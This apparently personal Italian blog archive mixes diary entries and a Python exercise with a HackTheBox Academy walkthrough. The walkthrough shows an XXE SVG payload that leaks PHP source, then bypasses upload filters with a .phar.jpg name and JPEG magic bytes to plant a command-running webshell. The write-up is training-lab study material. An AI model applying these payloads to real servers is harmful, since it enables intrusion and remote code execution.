Archive for the 'tmrc' Category

.molto interessante

April 16th, 2023 | Category: activity_log,tmrc,vita

ho avuto , poco fa, una botta di “felicità” (non esageriamo)

come ci sono riuscito?

anziché fare quello che avrei fatto io seguendo il “mio programma” (le decine di schede su trello, ognuna con link a tutorial/video di cose da fare), mi sono collegato in VPN e cercato di risolvere una cosina sul SIEM (non mi mostrava gli event di sicurezza, problema di autenticazione su filebeat)

per fortuna ho risolto abbastanza presto, e mi sono goduto questi incoraggianti valori:

insomma. è davvero interessante che per stare meglio, devo in un certo senso sforzarmi di NON seguire me stesso, ma lasciarmi guidare più da cose “esterne” e concrete

sto meglio

lo sento

nelle fibre del mio corpo

nel mio non-sentirmi in colpa se sto seduto al pc

nel mio non-oppormi a salire le scale

nel mio non-sentirmi a disagio se devo parlare/esprimermi

No comments

perché no?

February 12th, 2023 | Category: tmrc,walkthrough

ciao

in questo momento è in running la finale di Sanremo 2023

M. e fabrizio la stanno vedendo di là

io mi sento totalmente libero di non vederla (ma non posso certo fare a meno di sentirla), e mi sono messo a fare queste piccole challenge (categoria: Javascript):

Challenges – RingZer0 Online CTF (ringzer0ctf.com)

Che buffo, è quasi impossibile credere che io sia riuscito a concentrarmi per riuscire a fare questa (mooooolto carina!)

tmrc/CTF-Walkthrough/ringzer0ctf/javascript/Why_not at main · sughenji/tmrc · GitHub

meh, insomma, non sono tanto decerebrato dai 🙂

cmq, mi sembra tutto abbastanza chiaro.

la mia specialità (o dovrei dire: il mio rifugio) è: procrastinare qualsiasi cosa “vera”, con la giustificazione di non essere ancora pronto.

ma magari io sono più pronto di quello che io creda.

sono un limite per me stesso, si sa.

1 comment

bgp

forse sarebbe troppo, troppo “avere tutto”

magari hai una relazione che va a gonfie vele, ma una situazione lavorativa così così

o viceversa

magari non hai più un genitore, ma tanti amici che ti vogliono bene e con cui stai bene

mi reputo sinceramente fortunato

pulled pork by Frate Tac (puntualissimi, devo dire)

https://thyme.apnic.net/BGP/RIPE/?search=Micso#AS12874-IT-FASTWEB%20Fastweb%20SpA

No comments

The basics

November 20th, 2022 | Category: tmrc

beh, questa sembra essere la roba essenziale che installo per sopravvivere su Windows

WinSCP
Teamviewer (ahimé...)
VLC
VirtualBox
Wireshark
Nextcloud
KeePass
Telegram Desktop
PuTTY
Firefox
client VPN
Notepad++
sshfs+winfsp (per mountare file system remoti in ssh)
Obsidian

direi basta

1 comment

journey

May 01st, 2022 | Category: activity_log,tmrc

tutto è iniziato… circa 1 mesefa , con questo post su Linkedin del mio amico niggle:

link alla room:

https://tryhackme.com/room/snort

come spesso avviene, mi faccio stimolare da una cosa che hanno già fatto gli altri, visto che lì ci sono centinaia di room e di certo non posso affliggermi da solo con l’obiettivo “ok me le faccio tutte” (perché ne sarei capace o, più onestamente, ne avrei il desiderio)

così ho iniziato a farla e.. mi è venuta voglia di toccare con un po’ più di mano questo snort, tool che ho sentito nominare centinaia di volte, bene o male so cosa faceva, ma che non avevo mai provato.

e così mi sono visto un po’ di video su youtube del canale ufficiale:

e, tra un docker e l’altro, ho visto una cosa molto interessante e “nuova”, ossia la possibilità di visualizzare gli alert di snort dentro Elasticsearch.

allora mi sono detto.. perché non provarci!

e così.. ho abbandonato la room a metà, ho persino abbandonato snort, e mi sono messo a vedere un po’ meglio Elasticsearch, anche qui partendo dal canale ufficiale

qui è partita il caos procedurale.

posso già contare 3 installazioni di ELK, una sul server a casa di mamma (junkie, 2 GB di RAM 🙁 ), una su una VM in ufficio, e una sul Cloud trial (30 giorni) di Elasticsearch.. 3 versioni tutte diverse, con menù diversi e cose chiamate in modo diverso. sigh

PERO’, mi era proprio venuta voglia di “farci qualcosa” di pratico, e avevo trovato un po’ di link che spiegavano come buttare dentro ELK il netflow di un Mikrotik.

così.. l’ho fatto e

questa roba è proprio figa 🙂

mi sono persino iscritto (sempre trial) su Pluralsight.com e ho seguito il corso di un tizio. carino, ma secondo me ha corso troppo.

cmq, credo sia proprio questo che intedeva il grande ippsec (https://www.youtube.com/ippsec)

quando dice :

Essentially, if you target your learning in order to accomplish a specific task. You become an “assembly line” worker able to do that one task really well but all the other foundational skills get left out. Not to say this learning is bad, but if it is the only way you are learning it makes it hard to branch out because you aren’t becoming a master in the subject, which makes it difficult to relate it to the next thing you are learning.

https://www.hackthebox.com/blog/Interview-with-Ippsec

p.s. poco fa ho finito la room “snort”, btw 🙂

No comments

F.u.A.

February 13th, 2022 | Category: activity_log,tmrc,walkthrough

ho trovato una motivazione per essere felice/stimolato: ormai mi “drogo” con moduli su academy.hackthebox.com 🙂

vediamo l'”esame finale” di questo interessantissimo modulo.

obiettivo del gioco: accedere al flag sul filesystem di questo webserver:

la parte più interessante è chiaramente “Contact Us”:

iniziamo con le cose semplici, e vediamo come va a finire con un’immagine qualunque:

il file viene caricato con successo:

ma.. non sembra immediato capire “dove” sia andato a finire:

tentativi banali come /upload/nomefile, /uploads/nomefile, etc.. non hanno portato a nulla.

proviamo (tentativo disperato) ad uploadare una webshell in PHP. tra parentesi, sembra esserci un controllo client-side sui tipi di files ammessi:

che fa il paio con:

by the way, veniamo chiaramente inculati:

cerchiamo di indagare su quale sia lo script php che si “occupa” di fare l’upload, con l’inseparabile Burp:

vediamo se riusciamo a ottenere in chiaro il codice di upload.php tramite XXE.

creiamo un file .svg con questo contenuto:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>

prima di farlo, tramite l’inspector del browser, togliamo di mezzo quei controlli, ossia:

onchange="checkFile(this)" accept=".jpg,.jpeg,.png"

carichiamo il file svg:

e godiamoci il risultato:

quel blocco encodato in base64 contiene il codice php del file upload.php.

# cat upload.php | base64 -d
<?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    displayHTMLImage($target_file);
} else {
    echo "File failed to upload";
}

la prima scoperta interessante è il path di dove vengono salvate le immagini:

$target_dir = "./user_feedback_submissions/";

nonché il come vengono rinominati i files:

$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName;

come controprova, verifichiamo con il nostro Mario kart di prima 🙂

CVD!

next, avendo in chiaro anche il meccanismo di blacklist E whitelist, possiamo fare dei test.

partiamo da una jpg “vera” qualsiasi (giusto per non rimettere mano all’inspector del browser per togliere i javascript 🙂

e intercettiamo l’upload:

proviamo a cambiare il nome del file e il contenuto dello stesso con una web shell semplicissima:

veniamo inculati:

ma noi questo lo sapevamo già, perché abbiamo triggerato la “blacklist” (il nostro file contiene “.php“)

if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();

la blacklist di cui sopra, tuttavia, consente di uploadare un file con estensione .phar che, può portare comunque ad esecuzione di codice PHP, se assumiamo che la conf del web server sia:

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

come si vede, l’errore è diverso: adesso abbiamo superato la blacklist, ma abbiamo triggerato la whitelist

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

la whitelist di cui sopra è fatta un po’ meglio della blacklist, perché consente solo i file il cui nome finisce con quella regexp (mentre la blacklist verifica solo se contiene o meno la regexp).

riproviamo dunque con pac.phar.jpg:

A questo punto non è chiaro al 100% se abbiamo superato la whitelist, perché l’errore, anche nella terza condizione, è sempre “Only images are allowed“:

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

tuttavia, grazie a questo link:

sembra che abbiamo bypassato la whitelist.

dobbiamo quindi superare il terzo controllo; dobbiamo presupporre che dopo l’upload venga effettuato un check sul tipo di file.

Dobbiamo quindi far creare al controllo lato-server che si tratti di una jpeg, anche se di fatto non lo è.

possiamo trovare un po’ ovunque i “magic bytes” per i vari tipi di file, es.

https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

nel nostro caso dobbiamo far sì che il contenuto esadecimale del nostro file inizi con:

ff d8 ff e0

grazie a hexedit, modifichiamo dunque l'”incipit” della webshell aggiungendo i bytes di cui sopra, ottenendo alla fine:

il comando file sembra darci ragione sul fatto che sia veramente una jpeg:

root@kaligra:/home/joshua/academy/file_upload_attacks# file webshell.phar.jpg
webshell.phar.jpg: JPEG image data

a questo punto, dopo aver avuto un’idea completa dei controlli lato client (javascript) e lato server (controlli tramite PHP), possiamo prendere il nostro file webshell.phar.jpg e uploadarlo indisturbati:

vediamo se è stato caricato correttamente:

mm, c’è qualcosa (non un errore “Not found” 🙂

a questo punto, possiamo interagire con la nostra webshell, passandogli il parametro cmd e il comando desiderato:

game over *

1 comment

che fatica

January 02nd, 2022 | Category: activity_log,tmrc,vita,walkthrough

2005

June 07th, 2021 | Category: ricordi,tmrc,vita
hai notato che, anche un po' a fatica, ora posto con kmail?
(cmq con grossi rimpianti per le versioni storiche di eudora 3.05
e free agent 1.0 perche' erano semplici, di uso istintivo e senza
inutili fronzoli!) alla faccia del progresso!
firefox invece lo trovo comodo.
??? conosci qualche programma per la posta e per usenet, anche 
datato, che sia adatto a me! ...ovviamente va bene anche se e'
in bianco e nero :))
se e quando potrai ti faro' leggere "il disagio tecnologico" di alan
cooper, un po' datato ma lo condivido! 
trovo "mostruoso" che il mio telefonino abbia un manuale di 88 
facciate, anche se e' ± tascabile (12x17). ho letto quello che mi
serviva e vivo tranquillo! 

re-auguri e bacioni a te (un po' meno) ed alle tue donne!
massimo

(mail al suo caro amico Upaz * )

1 comment

piccole modifiche

meh, mi ero reso conto che i blocchi di codice si confondevano abbastanza con il resto dei post, per cui ho customizzato leggermente il css, con questa roba:

pre.wp-block-code {
	
	    border-left: 6px solid #5de8ff;
  background-color: #F5F7F9;
    padding: 5px;
	color: black;
}

…da migliorare eh!

forse è un bene darsi dei tempi.

ieri non ci stavo capendo un cazzo con python e gli esercizi. oggi l’esercizio 5 l’ho fatto in 2 minuti:

5. You have the following three variables from the arp table of a router:

mac1 = "Internet  10.220.88.29           94   5254.abbe.5b7b  ARPA   FastEthernet4"
mac2 = "Internet  10.220.88.30            3   5254.ab71.e119  ARPA   FastEthernet4"
mac3 = "Internet  10.220.88.32          231   5254.abc7.26aa  ARPA   FastEthernet4"

Process these ARP entries and print out a table of "IP ADDR" to "MAC ADDRESS" mappings. The output should look like following:

             IP ADDR          MAC ADDRESS
-------------------- --------------------
        10.220.88.29       5254.abbe.5b7b
        10.220.88.30       5254.ab71.e119
        10.220.88.32       5254.abc7.26aa


Two columns, 20 characters wide, data right aligned, a header column.

svolgimento:

#!/usr/bin/python3

mac1 = "Internet  10.220.88.29           94   5254.abbe.5b7b  ARPA   FastEthernet4"
mac2 = "Internet  10.220.88.30            3   5254.ab71.e119  ARPA   FastEthernet4"
mac3 = "Internet  10.220.88.32          231   5254.abc7.26aa  ARPA   FastEthernet4"

print("{:>20}{:>20}".format("IP ADDR", "MAC ADDRESS"))
print("-" * 40)
print("{:>20}{:>20}".format(mac1.split()[1],mac1.split()[3]))
print("{:>20}{:>20}".format(mac2.split()[1],mac2.split()[3]))
print("{:>20}{:>20}".format(mac3.split()[1],mac3.split()[3]))

risultato:

[sugo@vm pynet-learning-python]$ ./exercise5.py
             IP ADDR         MAC ADDRESS
----------------------------------------
        10.220.88.29      5254.abbe.5b7b
        10.220.88.30      5254.ab71.e119
        10.220.88.32      5254.abc7.26aa

direi che va bene no? 🙂

No comments

Protected: spectra

June 01st, 2021 | Category: tmrc,walkthrough

This content is password-protected. To view it, please enter the password below.

Enter your password to view comments.

« Previous PageNext Page »